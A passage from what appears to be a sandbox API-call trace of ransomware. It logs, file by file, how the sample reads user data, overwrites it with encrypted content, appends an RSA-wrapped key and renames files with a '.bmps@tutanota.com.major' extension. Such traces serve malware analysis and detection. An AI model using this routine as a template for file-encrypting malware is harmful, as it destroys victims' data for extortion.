pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0178.174] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USSres00002.jrs", dwFileAttributes=0x80) returned 1 [0178.175] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USSres00002.jrs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\unistoredb\\ussres00002.jrs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x818 [0178.175] GetFileSizeEx (in: hFile=0x818, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=3145728) returned 1 [0178.175] ReadFile (in: hFile=0x818, lpBuffer=0x3146020, nNumberOfBytesToRead=0x300000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3146020*, lpNumberOfBytesRead=0x2e3f9b4*=0x300000, lpOverlapped=0x0) returned 1 [0178.305] SetFilePointer (in: hFile=0x818, lDistanceToMove=-3145728, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.306] WriteFile (in: hFile=0x818, lpBuffer=0x3452020*, nNumberOfBytesToWrite=0x300000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3452020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x300000, lpOverlapped=0x0) returned 1 [0178.333] SetFilePointer (in: hFile=0x818, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x300000 [0178.333] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0178.333] WriteFile (in: hFile=0x818, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0178.342] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0178.342] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0178.342] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0178.343] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="pWy1/jb4YdlO55XKrKMBUdkyOTSh25xXz2n0r3s6N6xMxbCBjsPEoPABZcTXO8/y\nagRODcDBOjpZJuc7/Wy7jj3O+woz6JaCyuBoceGUOGYGBMsEMezFurlVagcn/z0g\njmS+iYpSnCbdigRgpPeHubtncrxU63hpbTy8EBtM8fMadfjOsrda5emUVRbgG41s\nL1cMZgTF/z1xI05xD69PX8Sw1w/RR+TH0xyOt4gKk47NAq74lzQNQU270D/WhrfL\nzdCXYB9ZeDv5LzAPCT4rGMhLZHHfFAWMzIpRmBb4VQ7BE475eAgsnUvNDtzp4GR1\nIxLoYEIJ20CCBOU+IeuGVA==\n", pcchString=0x2e3f9a8) returned 1 [0178.343] WriteFile (in: hFile=0x818, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0178.343] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0178.343] WriteFile (in: hFile=0x818, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0178.343] CloseHandle (hObject=0x818) returned 1 [0178.343] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USSres00002.jrs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\unistoredb\\ussres00002.jrs"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USSres00002.jrs.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\unistoredb\\ussres00002.jrs.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0178.347] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0178.347] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USSres00001.jrs", dwFileAttributes=0x80) returned 1 [0178.348] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USSres00001.jrs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\unistoredb\\ussres00001.jrs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x818 [0178.348] GetFileSizeEx (in: hFile=0x818, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=3145728) returned 1 [0178.348] ReadFile (in: hFile=0x818, lpBuffer=0x3141020, nNumberOfBytesToRead=0x300000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3141020*, lpNumberOfBytesRead=0x2e3f9b4*=0x300000, lpOverlapped=0x0) returned 1 [0178.503] SetFilePointer (in: hFile=0x818, lDistanceToMove=-3145728, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.503] WriteFile (in: hFile=0x818, lpBuffer=0x3452020*, nNumberOfBytesToWrite=0x300000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3452020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x300000, lpOverlapped=0x0) returned 1 [0178.529] SetFilePointer (in: hFile=0x818, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x300000 [0178.529] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0178.529] WriteFile (in: hFile=0x818, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0178.623] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0178.623] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0178.623] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0178.623] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="PhMq5k9GPK1jlGDhgNzRnUWrxXp6htwfPg9ratRRoJltrht4AbHooAG8OH6FEaV6\njE27vPWLLalsPKnMrc0XwP7cQ5i1rVnjXaus/lqE06JVV0VPvPzFmPOKYg7yTDwl\nAdlwlx1ezlwgwGXqeAYaJWpw4+jXleg/pmiVp8qQO9qyfh3o047oLU73ZSVrnShG\nLoAY69Ky/qANK/GFclJcHCzJ4DU79Bat2CNsn5cRs2L/973uCvcqi0M58nGuv9pr\nXuICPgcfAUXoqxzvzFYzqjn16wt5cDQr4jQBrFeKhG3UWU62xzApnt8iDmApype/\n0CE8YybpM57j1NcW7avadA==\n", pcchString=0x2e3f9a8) returned 1 [0178.623] WriteFile (in: hFile=0x818, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0178.624] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0178.624] WriteFile (in: hFile=0x818, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0178.624] CloseHandle (hObject=0x818) returned 1 [0178.624] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USSres00001.jrs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\unistoredb\\ussres00001.jrs"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USSres00001.jrs.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\unistoredb\\ussres00001.jrs.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0178.636] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0178.637] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USS.jtx", dwFileAttributes=0x80) returned 1 [0178.637] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USS.jtx" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\unistoredb\\uss.jtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x818 [0178.638] GetFileSizeEx (in: hFile=0x818, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=3145728) returned 1 [0178.638] ReadFile (in: hFile=0x818, lpBuffer=0x3149020, nNumberOfBytesToRead=0x300000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3149020*, lpNumberOfBytesRead=0x2e3f9b4*=0x300000, lpOverlapped=0x0) returned 1 [0178.702] SetFilePointer (in: hFile=0x818, lDistanceToMove=-3145728, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.702] WriteFile (in: hFile=0x818, lpBuffer=0x3450020*, nNumberOfBytesToWrite=0x300000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x300000, lpOverlapped=0x0) returned 1 [0178.732] SetFilePointer (in: hFile=0x818, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x300000 [0178.732] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0178.732] WriteFile (in: hFile=0x818, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0178.741] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0178.741] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0178.741] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0178.742] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="djYi5wZhzVO7I0oYMM8BGjajd7aIyTS6RfCrflS2eWhSH3d//k7UNgiv9haWKMNn\n0cdfEgY+b1PCUxYTij4iBUC3pyUT7a4scGCGtjtu4n1cfKTm+gj0zyCIiOz5PdgX\nAiD1TWndXDYu4VtkcnmWw30s9N2o8LcTOejmCyX4amlV1j6btKJ6cxUdn+h9XLYV\nNBaYSvkHO4yNKtO2fiOktu4J5rTGtcjFtyl82LaD2DQCy64s1yavd4XwkI/EkK1d\nisFJ3Bn39zspTVuQWzYJXAL0ekdy11vP4KOS8zUWERyOMvrzzIDW5MQpVF8uJuUl\n2617AWscvkLLySSjYII+Cw==\n", pcchString=0x2e3f9a8) returned 1 [0178.742] WriteFile (in: hFile=0x818, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0178.742] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0178.742] WriteFile (in: hFile=0x818, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0178.742] CloseHandle (hObject=0x818) returned 1 [0178.742] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USS.jtx" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\unistoredb\\uss.jtx"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USS.jtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\unistoredb\\uss.jtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0178.744] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0178.744] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USS.jcp", dwFileAttributes=0x80) returned 1 [0178.745] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USS.jcp" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\unistoredb\\uss.jcp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x818 [0178.745] GetFileSizeEx (in: hFile=0x818, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0178.745] ReadFile (in: hFile=0x818, lpBuffer=0x6590d8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6590d8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0178.985] SetFilePointer (in: hFile=0x818, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.985] WriteFile (in: hFile=0x818, lpBuffer=0x65b0e0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x65b0e0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0178.986] SetFilePointer (in: hFile=0x818, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0178.986] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0178.986] WriteFile (in: hFile=0x818, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0178.986] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0178.986] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0178.986] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0178.986] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="/GopQKMrslg7AlJdXVfoKyVyM0qPH8lQvoi1eoApqGwiyxrZMor3LzMDiVibQyPb\nc7qIy6MzSxDZc4y3GTnJegQgZWw9flNncJ0/dEuWV730V4f1Ml9BYHxNFjbB7J6Q\njSxtVXFsKc/5l/M47eNwy/U2Eb+L/8wH+/pUDqj1IUFVkggmoSiePLatZVmfA8E+\nl0jxERf9AGsLg0vWXOA2YuuHqhbdlHLJJScHdAIAx1OW0aC8ECBYxzvtTdyp1s2j\nZgvszoIAundW65GR5jg4BA7Nsd+0kmR1JLCLenew1xqmTBFg9uZ3xRzZL4SViQNw\nnb1U6TBscrnoZg3j0IigDg==\n", pcchString=0x2e3f9a8) returned 1 [0178.986] WriteFile (in: hFile=0x818, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0178.986] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0178.986] WriteFile (in: hFile=0x818, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0178.986] CloseHandle (hObject=0x818) returned 1 [0178.987] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USS.jcp" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\unistoredb\\uss.jcp"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USS.jcp.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\unistoredb\\uss.jcp.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0178.988] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0178.988] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\store.vol", dwFileAttributes=0x80) returned 1 [0178.989] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\store.vol" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\unistoredb\\store.vol"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x818 [0178.989] GetFileSizeEx (in: hFile=0x818, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=14155776) returned 1 [0178.990] ReadFile (in: hFile=0x818, lpBuffer=0x3142020, nNumberOfBytesToRead=0xd80000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3142020*, lpNumberOfBytesRead=0x2e3f9b4*=0xd80000, lpOverlapped=0x0) returned 1 [0179.752] SetFilePointer (in: hFile=0x818, lDistanceToMove=-14155776, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.752] WriteFile (in: hFile=0x818, lpBuffer=0x3ed5020*, nNumberOfBytesToWrite=0xd80000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3ed5020*, lpNumberOfBytesWritten=0x2e3f9b4*=0xd80000, lpOverlapped=0x0) returned 1 [0179.951] SetFilePointer (in: hFile=0x818, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xd80000 [0179.951] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0179.951] WriteFile (in: hFile=0x818, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0179.952] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0179.952] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0179.952] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0179.952] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="Yl1FtJFYnQMoSKPCmiktKScKUBMI9wv3XXd08gXN9LVCqvYhhs3hl0t21/ATWaeO\nICMz/K+/yja17Q61hkviWtvGrqIChHhT16K3s5sF3ELUzjfUyzEwLezanhnsQGr5\nCQqgQOGaR0914111zFNnCbbkRVo9aXCfKGRkQkH0CVWWc9Ix7CYU+ssBBLpeL6vA\nrG0gc+q+Cs6HncRsTnQtFxOrmhayO0J26c4RwUI9a9f72zxSNfu24yED1g8IuRi3\nYUnzfC7qindUs4yuUr5mg8yZ/jUX3UOHZ7w23Hkc3qXHaQQYbKpngBnlW5Ce5njq\nbAHZGd3ycy+khAfIp3s3sg==\n", pcchString=0x2e3f9a8) returned 1 [0179.952] WriteFile (in: hFile=0x818, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0179.952] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0179.952] WriteFile (in: hFile=0x818, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0179.953] CloseHandle (hObject=0x818) returned 1 [0179.953] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\store.vol" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\unistoredb\\store.vol"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\store.vol.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\unistoredb\\store.vol.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0179.955] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0179.955] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\store.jfm", dwFileAttributes=0x80) returned 1 [0179.955] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\store.jfm" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\unistoredb\\store.jfm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x818 [0179.956] GetFileSizeEx (in: hFile=0x818, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=16384) returned 1 [0179.956] ReadFile (in: hFile=0x818, lpBuffer=0x6590d8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6590d8*, lpNumberOfBytesRead=0x2e3f9b4*=0x4000, lpOverlapped=0x0) returned 1 [0179.957] SetFilePointer (in: hFile=0x818, lDistanceToMove=-16384, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.957] WriteFile (in: hFile=0x818, lpBuffer=0x65d0e0*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x65d0e0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4000, lpOverlapped=0x0) returned 1 [0179.958] SetFilePointer (in: hFile=0x818, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4000 [0179.958] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0179.958] WriteFile (in: hFile=0x818, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0179.958] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0179.958] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0179.958] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0179.958] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: 